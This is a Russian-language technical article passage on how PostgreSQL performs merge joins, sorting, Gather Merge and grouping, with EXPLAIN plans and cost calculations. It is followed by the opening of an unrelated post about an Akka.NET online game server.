Такой алгоритм справляется с дубликатами ключей во внутреннем наборе данных, но, поскольку дубликаты могут быть и во внешнем наборе, алгоритм приходится немного усложнить: если после продвижения внешнего указателя ключ остается прежним, внутренний указатель возвращается назад на первую строку с тем же значением ключа. Таким образом, каждой строке из внешнего набора данных будут сопоставлены все строки с тем же ключом из внутреннего набора данных.
Для внешнего соединения алгоритм еще немного меняется, но общая идея остается той же самой.
Единственный оператор, на который рассчитано соединение слиянием — равенство, то есть поддерживаются только эквисоединения (хотя работа над поддержкой других условий тоже [ведется](https://commitfest.postgresql.org/33/3160/)).
**Оценка стоимости.** Рассмотрим приведенный выше пример:
```
EXPLAIN SELECT *
FROM tickets t
JOIN ticket_flights tf ON tf.ticket_no = t.ticket_no
ORDER BY t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Merge Join (cost=0.99..822358.66 rows=8391852 width=136)
Merge Cond: (t.ticket_no = tf.ticket_no)
−> Index Scan using tickets_pkey on tickets t
(cost=0.43..139110.29 rows=2949857 width=104)
−> Index Scan using ticket_flights_pkey on ticket_flights tf
(cost=0.56..570975.58 rows=8391852 width=32)
(6 rows)
```
В начальную стоимость соединения входят как минимум начальные стоимости дочерних узлов.
В общем случае для нахождения первого соответствия может потребоваться прочитать некоторую долю внешнего или внутреннего наборов данных. Оценку этой доли можно дать, сравнив (с помощью гистограммы) минимальные значения ключа соединения в двух наборах. Но в данном случае диапазон номеров билетов в обоих таблицах совпадает.
Полная стоимость соединения складывается из стоимостей получения данных от дочерних узлов и стоимости вычислений.
Поскольку алгоритм соединения останавливается, когда заканчивается один из наборов данных (конечно, кроме случая внешнего соединения), другой набор может быть прочитан не полностью. Оценку этой доли можно получить, сравнив максимальные значения ключа в двух наборах. В нашем случае оба набора будут прочитаны до конца, так что в полную стоимость соединения войдет сумма полных стоимостей обоих дочерних узлов.
Кроме того, при наличии дубликатов часть строк внешнего набора может быть прочитана несколько раз. Количество повторных чтений оценивается разностью кардинальностей результата соединения и внутреннего набора.
В нашем запросе эти кардинальности совпадают, что говорит об отсутствии дубликатов.
Необходимые вычисления состоят из сравнений ключей соединения и выдачи результирующих строк. Количество сравнений можно оценить суммой кардинальностей обоих наборов и количества повторных чтений строк внешнего набора; одно сравнение оценивается значением параметра *cpu\_operator\_cost*. Стоимость обработки одной результирующей строки оценивается, как обычно, значением параметра *cpu\_tuple\_cost*.
Подытоживая, для нашего примера стоимость соединения вычисляется следующим образом:
```
SELECT 0.43 + 0.56 AS startup,
round((
139110.29 + 570975.58 +
current_setting('cpu_tuple_cost')::real * 8391852 +
current_setting('cpu_operator_cost')::real * (2949857 + 8391852)
)::numeric, 2) AS total;
```
```
startup | total
−−−−−−−−−+−−−−−−−−−−−
0.99 | 822358.66
(1 row)
```
### Параллельный режим
Соединение слиянием может использоваться в параллельных планах.
Сканирование внешнего набора строк выполняется рабочими процессами параллельно, но внутренний набор строк каждый рабочий процесс всегда читает самостоятельно.
Вот пример параллельного плана запроса, использующего соединение слиянием:
```
SET enable_hashjoin = off;
EXPLAIN (costs off)
SELECT count(*), sum(tf.amount)
FROM tickets t
JOIN ticket_flights tf ON tf.ticket_no = t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Finalize Aggregate
−> Gather
Workers Planned: 2
−> Partial Aggregate
−> Merge Join
Merge Cond: (tf.ticket_no = t.ticket_no)
−> Parallel Index Scan using ticket_flights_pkey o...
−> Index Only Scan using tickets_pkey on tickets t
(8 rows)
```
Полные и правые внешние соединения слиянием в параллельных планах не поддерживаются.
### Модификации
Соединение слиянием поддерживает любые типы соединений. Единственное ограничение для полного и правого внешних соединений — условие соединения должно содержать только выражения, подходящие для слияния (равенство столбцов из внешнего и внутреннего наборов или равенство столбца константе). В остальных случаях результат соединения просто фильтруется по таким дополнительным выражениям после соединения, но для полного и правого соединений это невозможно.
Вот пример полного соединения, использующего алгоритм слияния:
```
EXPLAIN (costs off) SELECT *
FROM tickets t
FULL JOIN ticket_flights tf ON tf.ticket_no = t.ticket_no
ORDER BY t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort
Sort Key: t.ticket_no
−> Merge Full Join
Merge Cond: (t.ticket_no = tf.ticket_no)
−> Index Scan using tickets_pkey on tickets t
−> Index Scan using ticket_flights_pkey on ticket_flights tf
(6 rows)
```
Внутреннее и левое внешнее соединения слиянием сохраняют порядок сортировки. Но для полного и правого внешних соединений это не верно, поскольку между упорядоченными значениями внешнего набора данных могут быть вставлены неопределенные значения — а это нарушает сортировку. Поэтому здесь появляется узел Sort, восстанавливающий нужный порядок. Это, конечно, увеличивает стоимость плана и делает хеш-соединение более привлекательным, и, чтобы показать этот план, хеш-соединения пришлось отключить.
Но в следующем примере хеш-соединение используется все равно, поскольку это единственный способ выполнить полное соединение, содержащее условия в виде, который не поддерживается соединением слияния:
```
EXPLAIN (costs off) SELECT *
FROM tickets t
FULL JOIN ticket_flights tf ON tf.ticket_no = t.ticket_no
AND tf.amount > 0
ORDER BY t.ticket_no;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort
Sort Key: t.ticket_no
−> Hash Full Join
Hash Cond: (tf.ticket_no = t.ticket_no)
Join Filter: (tf.amount > '0'::numeric)
−> Seq Scan on ticket_flights tf
−> Hash
−> Seq Scan on tickets t
(8 rows)
```
```
RESET enable_hashjoin;
```
Сортировка
----------
Если какой-то из наборов строк (а возможно, и оба) не отсортирован по ключу соединения, перед выполнением слияния он должен быть переупорядочен. Такая явная сортировка представляется в плане выполнения узлом Sort:
```
EXPLAIN (costs off)
SELECT *
FROM flights f
JOIN airports_data dep ON f.departure_airport = dep.airport_code
ORDER BY dep.airport_code;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Merge Join
Merge Cond: (f.departure_airport = dep.airport_code)
−> Sort
Sort Key: f.departure_airport
−> Seq Scan on flights f
−> Sort
Sort Key: dep.airport_code
−> Seq Scan on airports_data dep
(8 rows)
```
Такая же сортировка может применяться и вне контекста соединений при использовании предложения `ORDER BY`, как самого по себе, так и в составе оконных функций:
```
EXPLAIN (costs off)
SELECT flight_id,
row_number() OVER (PARTITION BY flight_no ORDER BY flight_id)
FROM flights f;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
WindowAgg
−> Sort
Sort Key: flight_no, flight_id
−> Seq Scan on flights f
(4 rows)
```
Здесь узел WindowAgg вычисляет оконную функцию по набору данных, предварительно отсортированному узлом Sort.
В арсенале планировщика имеется несколько способов сортировки данных. В примере, который я уже показывал, используется два из них (Sort Method). Как обычно, эти детали можно узнать, выполнив команду `EXPLAIN ANALYZE`:
```
EXPLAIN (analyze,costs off,timing off,summary off)
SELECT *
FROM flights f
JOIN airports_data dep ON f.departure_airport = dep.airport_code
ORDER BY dep.airport_code;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Merge Join (actual rows=214867 loops=1)
Merge Cond: (f.departure_airport = dep.airport_code)
−> Sort (actual rows=214867 loops=1)
Sort Key: f.departure_airport
Sort Method: external merge Disk: 17136kB
−> Seq Scan on flights f (actual rows=214867 loops=1)
−> Sort (actual rows=104 loops=1)
Sort Key: dep.airport_code
Sort Method: quicksort Memory: 52kB
−> Seq Scan on airports_data dep (actual rows=104 loops=1)
(10 rows)
```
### Быстрая сортировка
Если сортируемый набор данных помещается в память, ограниченную значением параметра *work\_mem*, применяется традиционная *быстрая сортировка* (quick sort). Этот алгоритм описан во всех учебниках и я не буду его повторять.
С точки зрения реализации сортировка выполняется специальным компонентом, который выбирает наиболее подходящий алгоритм сортировки.
**Оценка стоимости.** Возьмем пример сортировки небольшой таблицы:
```
EXPLAIN SELECT *
FROM airports_data
ORDER BY airport_code;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort (cost=7.52..7.78 rows=104 width=145)
Sort Key: airport_code
−> Seq Scan on airports_data (cost=0.00..4.04 rows=104 width=...
(3 rows)
```
Известно, что сортировка *n* значений имеет вычислительную сложность O(*n* log2*n*). Одна операция сравнения оценивается удвоенным значением параметра *cpu\_operator\_cost*. Поскольку результат можно получить, только прочитав и отсортировав *весь* набор данных, стоимость операций сравнения вместе с полной стоимостью дочернего узла составляет начальную стоимость сортировки.
В полную стоимость сортировки добавляется обработка каждой строки результата, которая оценивается значением параметра *cpu\_operator\_cost* (а не *cpu\_tuple\_cost*, как обычно, поскольку для узла Sort накладные расходы невелики).
В нашем примере стоимость вычисляется так:
```
WITH costs(startup) AS (
SELECT 4.04 + round((
current_setting('cpu_operator_cost')::real * 2 *
104 * log(2, 104)
)::numeric, 2)
)
SELECT startup,
startup + round((
current_setting('cpu_operator_cost')::real * 104
)::numeric, 2) AS total
FROM costs;
```
```
startup | total
−−−−−−−−−+−−−−−−−
7.52 | 7.78
(1 row)
```
### Частичная пирамидальная сортировка
Если нужно отсортировать не весь набор данных, а только его часть (что определяется предложением `LIMIT`), может применяться *частичная пирамидальная сортировка* (top-N heapsort). Точнее, этот алгоритм используется, если количество строк после сортировки уменьшается как минимум вдвое, или если входной набор строк не помещается целиком в отведенную оперативную память (но выходной набор при этом помещается).
```
EXPLAIN (analyze, timing off, summary off) SELECT *
FROM seats
ORDER BY seat_no
LIMIT 100;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Limit (cost=72.57..72.82 rows=100 width=15)
(actual rows=100 loops=1)
−> Sort (cost=72.57..75.91 rows=1339 width=15)
(actual rows=100 loops=1)
Sort Key: seat_no
Sort Method: top−N heapsort Memory: 33kB
−> Seq Scan on seats (cost=0.00..21.39 rows=1339 width=15)
(actual rows=1339 loops=1)
(8 rows)
```
Чтобы найти *k* максимальных (минимальных) значений из *n*, в структуру данных, называемую кучей, добавляются *k* первых строк. Затем по одной добавляются и все остальные строки, но после добавления каждой следующей строки из кучи изымается одно наименьшее (наибольшее) значение. В результате в куче остаются *k* искомых значений.
Куча (heap), используемая в этот алгоритме, является структурой данных и не имеет ничего общего с таблицами базы данных, которые часто называют этим же термином.
**Оценка стоимости.** Сложность алгоритма оценивается как *O*(*n* log2*k*), однако каждая операция обходится дороже, чем в случае быстрой сортировки. Поэтому формула расчета стоимости использует *n* log22*k*.
```
WITH costs(startup) AS (
SELECT 21.39 + round((
current_setting('cpu_operator_cost')::real * 2 *
1339 * log(2, 2 * 100)
)::numeric, 2)
)
SELECT startup,
startup + round((
current_setting('cpu_operator_cost')::real * 100
)::numeric, 2) AS total
FROM costs;
```
```
startup | total
−−−−−−−−−+−−−−−−−
72.57 | 72.82
(1 row)
```
### Внешняя сортировка
Если при чтении набора данных выясняется, что он слишком велик для сортировки в оперативной памяти, узел сортировки переключается на *внешнюю сортировку слиянием* (external merge).
Уже прочитанные строки сортируются в памяти алгоритмом быстрой сортировки и записываются во временный файл.
В освобожденную память читаются следующие строки и процедура повторяется до тех пор, пока все данные не будут записаны в несколько файлов, каждый из которых по отдельности отсортирован.
Далее несколько файлов объединяются в один примерно тем же алгоритмом, что используется и при соединении слиянием. Основное отличие состоит в том, что объединяться могут более двух файлов одновременно.
Для слияния не требуется много памяти. В принципе, достаточно располагать местом под одну строку для каждого файла. Из файлов читаются первые строки, среди них выбирается минимальная (или максимальная, в зависимости от направления сортировки) и возвращается как часть результата, а на ее место читается новая строка из соответствующего файла.
На практике строки читаются не по одной, а порциями по 32 страницы, чтобы уменьшить количество операций ввода-вывода. Количество файлов, которые объединяются за одну итерацию, определяется доступным местом в памяти, но меньше шести не используется никогда. Сверху это количество тоже ограничено (числом 500), поскольку при слишком большом числе файлов эффективность теряется.
Если объединить все отсортированные временные файлы за одну итерацию не получается, приходится выполнять слияние файлов по частям и записывать результат в новые временные файлы. Каждая такая итерация увеличивает объем записываемых и читаемых данных, поэтому чем больше оперативной памяти доступно, тем эффективнее будет выполняться внешняя сортировка.
На следующей итерации слияние продолжается уже с новыми файлами.
Финальное слияние обычно откладывается и выполняется на лету, когда вышестоящий узел плана запрашивает данные.
Команда `EXPLAIN ANALYZE` показывает объем дисковой памяти, который потребовался внешней сортировке. Добавив ключевое слово `buffers`, можно получить и статистику использования буферов временных файлов (temp read и written). Количество записанных буферов будет (примерно) равно количеству прочитанных, и именно это значение, пересчитанное в килобайты, показано в плане в позиции Disk:
```
EXPLAIN (analyze, buffers, costs off, timing off, summary off)
SELECT *
FROM flights
ORDER BY scheduled_departure;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort (actual rows=214867 loops=1)
Sort Key: scheduled_departure
Sort Method: external merge Disk: 17136kB
Buffers: shared hit=610 read=2017, temp read=2142 written=2150
−> Seq Scan on flights (actual rows=214867 loops=1)
Buffers: shared hit=607 read=2017
(6 rows)
```
Более подробную статистику использования временных файлов можно получить в журнале сообщений, установив параметр *log\_temp\_buffers*.
**Оценка стоимости.** В качестве примера возьмем тот же план с внешней сортировкой:
```
EXPLAIN SELECT *
FROM flights
ORDER BY scheduled_departure;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Sort (cost=31883.96..32421.12 rows=214867 width=63)
Sort Key: scheduled_departure
−> Seq Scan on flights (cost=0.00..4772.67 rows=214867 width=63)
(3 rows)
```
Здесь к обычной стоимости сравнений (количество которых остается таким же, как и в случае быстрой сортировки в памяти) добавляется стоимость ввода-вывода. Все входные данные придется сначала записать на диск во временные файлы, а затем прочитать с диска при слиянии (причем, возможно, несколько раз, если количество созданных файлов будет превышать количество одновременно объединяемых наборов).
Объем данных, попадающих на диск, определяется количеством и размером сортируемых строк. В данном случае запрос выводит все столбцы таблицы `flights`, поэтому объем почти равен размеру всей таблицы, за вычетом служебной информации в версиях строк и страницах (2309 страниц вместо 2624). В нашем примере на сортировку хватает одной итерации.
Обращение к диску (и запись, и чтение) оценивается как на три четверти последовательное и на одну четверть случайное.
Таким образом стоимость сортировки в нашем плане вычисляется так:
```
WITH costs(startup) AS (
SELECT 4772.67 + round((
current_setting('cpu_operator_cost')::real * 2 *
214867 * log(2, 214867) +
(current_setting('seq_page_cost')::real * 0.75 +
current_setting('random_page_cost')::real * 0.25) *
2 * 2309 * 1 -- одна итерация
)::numeric, 2)
)
SELECT startup,
startup + round(( current_setting('cpu_operator_cost')::real * 214867
)::numeric, 2) AS total
FROM costs;
```
```
startup | total
−−−−−−−−−−+−−−−−−−−−−
31883.96 | 32421.13
(1 row)
```
### Инкрементальная сортировка
Если набор данных требуется отсортировать по ключам *K*1 ... *Km* ... *Kn*, и при этом известно, что набор уже отсортирован по первым нескольким из этих ключей *K*1 ... *Km*, то не обязательно пересортировывать весь набор заново. Можно разбить набор данных на группы, имеющие одинаковые значения начальных ключей *K*1 ... *Km* (значения таких групп следуют друг за другом), и затем отсортировать отдельно каждую из групп по оставшимся ключам *K*m+1 ... *Kn*. Такой способ называется *инкрементальной сортировкой*. Он доступен начиная с версии PostgreSQL 13.
Инкрементальная сортировка уменьшает требования к памяти, разбивая весь набор на несколько меньших групп, а также позволяет начать выдавать результаты после обработки первой группы, не дожидаясь сортировки всего набора.
Реализация действует более тонко: отдельно обрабатываются только относительно крупные группы строк, а небольшие объединяются и сортируются полностью. Это уменьшает накладные расходы на запуск алгоритма сортировки.
В плане выполнения инкрементальная сортировка представлена узлом Incremental Sort:
```
EXPLAIN (analyze, costs off, timing off, summary off)
SELECT *
FROM bookings
ORDER BY total_amount, book_date;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Incremental Sort (actual rows=2111110 loops=1)
Sort Key: total_amount, book_date
Presorted Key: total_amount
Full−sort Groups: 2823 Sort Method: quicksort Average
Memory: 30kB Peak Memory: 30kB
Pre−sorted Groups: 2624 Sort Method: quicksort Average
Memory: 3152kB Peak Memory: 3259kB
−> Index Scan using bookings_total_amount_idx on bookings (ac...
(8 rows)
```
Как видно из плана, набор строк уже отсортирован по `total_amount`, поскольку получен сканированием индекса, построенного по этому столбцу (Presorted Key). Команда `EXPLAIN ANALYZE` показывает также статистику времени выполнения. Строка Full-sort Groups относится к строкам из небольших групп, которые были объединены и отсортированы полностью, а строка Pre-sorted Groups — к крупным группам, которые досортировывались по столбцу `book_date`. В обоих случаях использовалась быстрая сортировка в памяти. Наличие групп разного размера вызвано неравномерным распределением стоимости бронирований.
Начиная с версии 14 инкрементальная сортировка может использоваться и для оконных функций:
```
EXPLAIN (costs off)
SELECT row_number() OVER (ORDER BY total_amount, book_date)
FROM bookings;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
WindowAgg
−> Incremental Sort
Sort Key: total_amount, book_date
Presorted Key: total_amount
−> Index Scan using bookings_total_amount_idx on bookings
(5 rows)
```
**Оценка стоимости.** Расчет стоимости инкрементальной сортировки опирается на оценку количества групп и оценку сортировки группы среднего размера (которую мы уже рассмотрели).
Начальная стоимость отражает оценки сортировки одной (первой) группы, после чего узел уже может выдавать отсортированные строки, а полная стоимость учитывает сортировку всех групп:
```
EXPLAIN SELECT *
FROM bookings
ORDER BY total_amount, book_date;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Incremental Sort (cost=45.10..282293.40 rows=2111110 width=21)
Sort Key: total_amount, book_date
Presorted Key: total_amount
−> Index Scan using bookings_total_amount_idx on bookings (co...
(4 rows)
```
Подробно останавливаться на вычислении оценок я не буду.
### Параллельный режим
Сортировка может выполняться параллельно. Но, хотя рабочие процессы выдают свою часть данных в отсортированном виде, узел Gather ничего не знает про упорядоченность и может объединять данные только в порядке поступления. Чтобы сохранить сортировку, применяется другой узел — Gather Merge.
```
EXPLAIN (analyze, costs off, timing off, summary off)
SELECT *
FROM flights
ORDER BY scheduled_departure
LIMIT 10;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Limit (actual rows=10 loops=1)
−> Gather Merge (actual rows=10 loops=1)
Workers Planned: 1
Workers Launched: 1
−> Sort (actual rows=8 loops=2)
Sort Key: scheduled_departure
Sort Method: top−N heapsort Memory: 27kB
Worker 0: Sort Method: top−N heapsort Memory: 27kB
−> Parallel Seq Scan on flights (actual rows=107434 lo...
(9 rows)
```
Узел Gather Merge использует двоичную кучу для упорядочения строк, поступающих от нескольких процессов. По сути, выполняется слияние нескольких отсортированных наборов строк, как при внешней сортировке, но алгоритм рассчитан на другие условия работы: на небольшое фиксированное число источников и получение строк по одной, без блочного доступа.
**Оценка стоимости.** Начальная стоимость узла Gather Merge опирается на начальную стоимость дочернего узла. К ней (как и в случае узла Gather) добавляется стоимость запуска процессов, которая оценивается значением параметра *parallel\_setup\_cost*.
Сюда же добавляется оценка построения двоичной кучи, что требует сортировки *n* значений по числу параллельных процессов (то есть *n* log2*n*). Одна операция сравнения оценивается удвоенным значением параметра *cpu\_operator\_cost*, и общая сумма обычно пренебрежимо мала, поскольку *n* невелико.
В полную стоимость входит получение всех данных дочерним узлом, который выполняется несколькими параллельными процессами, и стоимость пересылки строк от этих процессов. Пересылка одной строки оценивается значением параметра *parallel\_tuple\_cost*, увеличенным на 5 %, чтобы учесть возможные потери при ожидании получения очередных значений.
В полную стоимость входит также обновление двоичной кучи. Для каждой входящей строки данных это требует log2*n* операций сравнения и определенных вспомогательных действий (которые оцениваются значением *cpu\_operator\_cost*).
Вот еще один пример плана с узлом Gather Merge:
```
EXPLAIN SELECT amount, count(*)
FROM ticket_flights
GROUP BY amount;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Finalize GroupAggregate (cost=123399.62..123485.00 rows=337 wid...
Group Key: amount
−> Gather Merge (cost=123399.62..123478.26 rows=674 width=14)
Workers Planned: 2
−> Sort (cost=122399.59..122400.44 rows=337 width=14)
Sort Key: amount
−> Partial HashAggregate (cost=122382.07..122385.44 r...
Group Key: amount
−> Parallel Seq Scan on ticket_flights (cost=0.00...
(9 rows)
```
Этот план интересен тем, что рабочие процессы выполняют частичную агрегацию с помощью хеширования, затем полученные результаты сортируются узлом Sort (это дешево, поскольку после агрегации остается немного строк) и передаются ведущему процессу, который собирает полный результат в узле Gather Merge. Окончательная же агрегация выполняется не хешированием, а по отсортированному списку значений.
В данном случае количество параллельных процессов равно трем (включая основной) и стоимость узла Gather Merge вычисляется так:
```
WITH costs(startup, run) AS (
SELECT round((
-- запуск процессов
current_setting('parallel_setup_cost')::real +
-- построение кучи
current_setting('cpu_operator_cost')::real * 2 * 3 * log(2, 3)
)::numeric, 2),
round((
-- передача строк
current_setting('parallel_tuple_cost')::real * 1.05 * 674 +
-- обновление кучи
current_setting('cpu_operator_cost')::real * 2 * 674 * log(2, 3) +
current_setting('cpu_operator_cost')::real * 674
)::numeric, 2)
)
SELECT 122399.59 + startup AS startup,
122400.44 + startup + run AS total
FROM costs;
```
```
startup | total
−−−−−−−−−−−+−−−−−−−−−−−
123399.61 | 123478.26
(1 row)
```
Группировка и уникальные значения
---------------------------------
Как мы только что видели, группировка значений для агрегации (и устранения дубликатов) может выполняться не только хешированием, но и с помощью сортировки. В отсортированном списке группы повторяющихся значений элементарно выделяются за один проход.
Выбор уникальных значений из отсортированного списка представляется в плане очень простым узлом Unique:
```
EXPLAIN (costs off) SELECT DISTINCT book_ref
FROM bookings
ORDER BY book_ref;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Result
−> Unique
−> Index Only Scan using bookings_pkey on bookings
(3 rows)
```
Для агрегации используется другой узел, GroupAggregate:
```
EXPLAIN (costs off) SELECT book_ref, count(*)
FROM bookings
GROUP BY book_ref
ORDER BY book_ref;
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
GroupAggregate
Group Key: book_ref
−> Index Only Scan using bookings_pkey on bookings
(3 rows)
```
В параллельных планах такой узел будет называться Partial GroupAggregate, а узел, завершающий агрегацию, — Finalize GroupAggregate.
Начиная с версии PostgreSQL 10 обе стратегии — хеширование и сортировка — могут совмещаться в одном узле при группировке по нескольким наборам (в предложениях `GROUPING SETS`, `CUBE` или `ROLLUP`). Я не буду углубляться в весьма непростые детали алгоритма. Приведу лишь один пример, в котором группировка должна вычисляться по трем разным столбцам в условиях недостаточной памяти:
```
SET work_mem = '64kB';
EXPLAIN (costs off)
SELECT count(*)
FROM flights
GROUP BY GROUPING SETS (aircraft_code, flight_no, departure_airport);
```
```
QUERY PLAN
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
MixedAggregate
Hash Key: departure_airport
Group Key: aircraft_code
Sort Key: flight_no
Group Key: flight_no
−> Sort
Sort Key: aircraft_code
−> Seq Scan on flights
(8 rows)
```
Вот что происходит при выполнении этого запроса. Узел агрегации, который обозначен в плане как MixedAggregate, получает набор данных, отсортированных по столбцу `aircraft_code`.
На первом этапе этот набор сканируется и значения группируются по `aircraft_code` (Group Key). По мере сканирования строки переупорядочиваются по столбцу `flight_no` (так, как это делает обычный узел Sort: либо быстрой сортировкой в памяти, если ее достаточно, либо внешней сортировкой на диске) и одновременно с этим записываются в хеш-таблицу с ключом `departure_airport` (так, как это делает агрегация хешированием: либо в памяти, либо с использованием временных файлов).
На втором этапе сканируется набор строк, отсортированный на предыдущем этапе по столбцу `flight_no`, и значения группируются по этому же столбцу (Sort Key и вложенный Group Key). Если бы требовалась группировка сортировкой по еще одному столбцу, на этом этапе строки бы пересортировались в том порядке, который был бы необходим дальше.
Наконец, сканируется хеш-таблица, подготовленная на первом этапе, и значения группируются по столбцу `departure_airport` (Hash Key).
Сравнение способов соединения
-----------------------------
Итак, для соединения двух наборов данных могут использоваться три разных способа, каждый со своими достоинствами и недостатками.
*Соединение вложенным циклом* не требует никакой подготовительной работы и начинает возвращать результирующие строки сразу же. Это единственный из способов соединения, которому не требуется просматривать внутренний набор полностью, если для него есть эффективный индексный доступ. Эти свойства делают алгоритм вложенного цикла (в сочетании с индексами) идеальным механизмом для коротких OLTP-запросов, которые строятся на небольшой выборке строк.
Недостаток вложенного цикла проявляется с ростом объема данных. Для декартова произведения этот алгоритм имеет квадратичную сложность — затраты пропорциональны произведению размеров соединяемых наборов данных. Декартово произведение нечасто встречается на практике; обычно для каждой строки внешнего набора данных с помощью индекса просматривается некоторое количество строк внутреннего набора, и это среднее количество не зависит от размера всего набора данных (например, среднее количество билетов в одном бронировании не меняется с ростом количества бронирований и купленных билетов). Поэтому часто рост сложности будет линейным, а не квадратичным, хотя и с большим коэффициентом.
Важная особенность вложенного цикла состоит в его универсальности: поддерживаются любые условия соединения, в то время как остальные способы работают только с эквисоединениями. Это дает возможность выполнять любые запросы с любыми условиями (кроме полного соединения, которое не реализуется вложенным циклом), но надо помнить о том, что не-эквисоединение больших объемов будет выполняться заведомо неэффективно.
*Соединение хешированием* очень эффективно для больших наборов данных. При наличии достаточного объема памяти оно требует однократного просмотра двух наборов данных, то есть имеет линейную сложность. В сочетании с последовательным сканированием таблиц, соединение хешированием часто встречается в OLAP-запросах, вычисляющих результат на основании большого объема данных.
Для ситуаций, в которых время отклика важнее пропускной способности, хеш-соединение подходит хуже, поскольку результирующие строки не могут возвращаться, пока хеш-таблица не построена полностью.
Применение хеш-соединения ограничено эквисоединениями. Кроме того, тип данных должен допускать хеширование (это выполняется почти всегда).
Начиная с версии 14 вложенный цикл может иногда составить конкуренцию соединению хешированием за счет кеширования строк внутреннего набора в узле Memoize (также основанного на хеш-таблице). Выигрыш может достигаться за счет того, что соединение хешированием всегда просматривает внутренний набор строк полностью, а алгоритм вложенного цикла — нет.
*Соединение слиянием* отлично подходит и для коротких OLTP-запросов, и для длинных запросов OLAP. Оно имеет линейную сложность (требуется однократный просмотр соединяемых наборов строк), не требовательно к памяти и выдает результаты без предварительной подготовки. Единственная сложность состоит в том, что наборы данных должны быть отсортированы в правильном порядке. Наиболее эффективный способ добиться этого — получать данные от индексного сканирования. Это естественный вариант для небольшого количества строк; при большом объеме данных индексный доступ тоже может быть эффективен, если это только индексное сканирование с минимальными обращениями к таблице или вовсе без них.
Если подходящих индексов нет, то наборы данных придется сортировать, а сортировка требует памяти и имеет сложность выше линейной: O(*n* log2*n*). В таком случае соединение слиянием почти всегда проигрывает соединению хешированием — за исключением ситуации, когда результат нужен отсортированным.
К приятным свойствам соединения слиянием относится равноценность внешнего и внутреннего наборов строк. Эффективность и вложенного цикла, и хеш-соединения сильно зависит от того, правильно ли планировщик выберет, какой из наборов данных поставить внешним, а какой — внутренним.
Применение соединения слиянием ограничено эквисоединениями. Кроме того, тип данных должен иметь класс операторов для B-дерева.
На графике показана примерная зависимость стоимостей различных способов соединений двух таблиц от доли соединяемых строк.
Соединение вложенным циклом при высокой селективности использует индексный доступ к обоим таблицам; затем планировщик переключается на полное сканирование внешней таблицы и график становится линейным.
Соединения хешированием использует в этом примере полное сканирование обоих таблиц. «Ступенька» на графике возникает в тот момент, когда хеш-таблица перестает помещаться в оперативной памяти и пакеты начинают сбрасываться на диск.
Соединение слиянием с использованием индекса показывает небольшой линейный рост стоимости. При достаточном объеме *work\_mem* соединение хешированием обычно оказывается эффективнее, но, когда дело доходит до временных файлов, соединение слиянием выигрывает.
Верхний график соединения слиянием с сортировкой показывает рост стоимости в ситуации, когда индексы недоступны, и данные приходится сортировать. Как и в случае хеширования, «ступенька» на графике вызвана недостатком памяти и необходимостью использовать для сортировки временные файлы.
Это только пример; в каждом конкретном случае соотношения стоимостей, разумеется, будут отличаться.
> На этом я остановлюсь. Нельзя объять необъятное, но думаю, что основные моменты я охватил.
>
> Материал этой и прошлых серий статей лег в основу книги, над которой я сейчас работаю, и которая, надеюсь, увидит свет уже в конце этого года. Спасибо всем, кто меня читает — ваши комментарии позволяют улучшить текст.
>
> Оставайтесь с нами!
>
> | https://habr.com/ru/post/582058/ | null | ru | null |
# Изучаю Akka.NET: Сервер простой онлайн игры
Привет, Хабр! Решил я значит попробовать переписать тот сервер что делал с MS Orleans на Akka.NET просто чтобы попробовать и эту технологию тоже. Если вам интересно что получилось до добро пожаловать под кат.
Исходники
---------
[gitlab.com/VictorWinbringer/msorleansonlinegame/-/tree/master/Server/AkkaActors](https://gitlab.com/VictorWinbringer/msorleansonlinegame/-/tree/master/Server/AkkaActors)
Об игре
-------
Стрелялка с режимом дес матч. Все против всех. Зеленые # это противники. Желтый # это ваш персонаж. Красный $ это пуля. Стрельба ведется в том направлении куда вы движетесь.
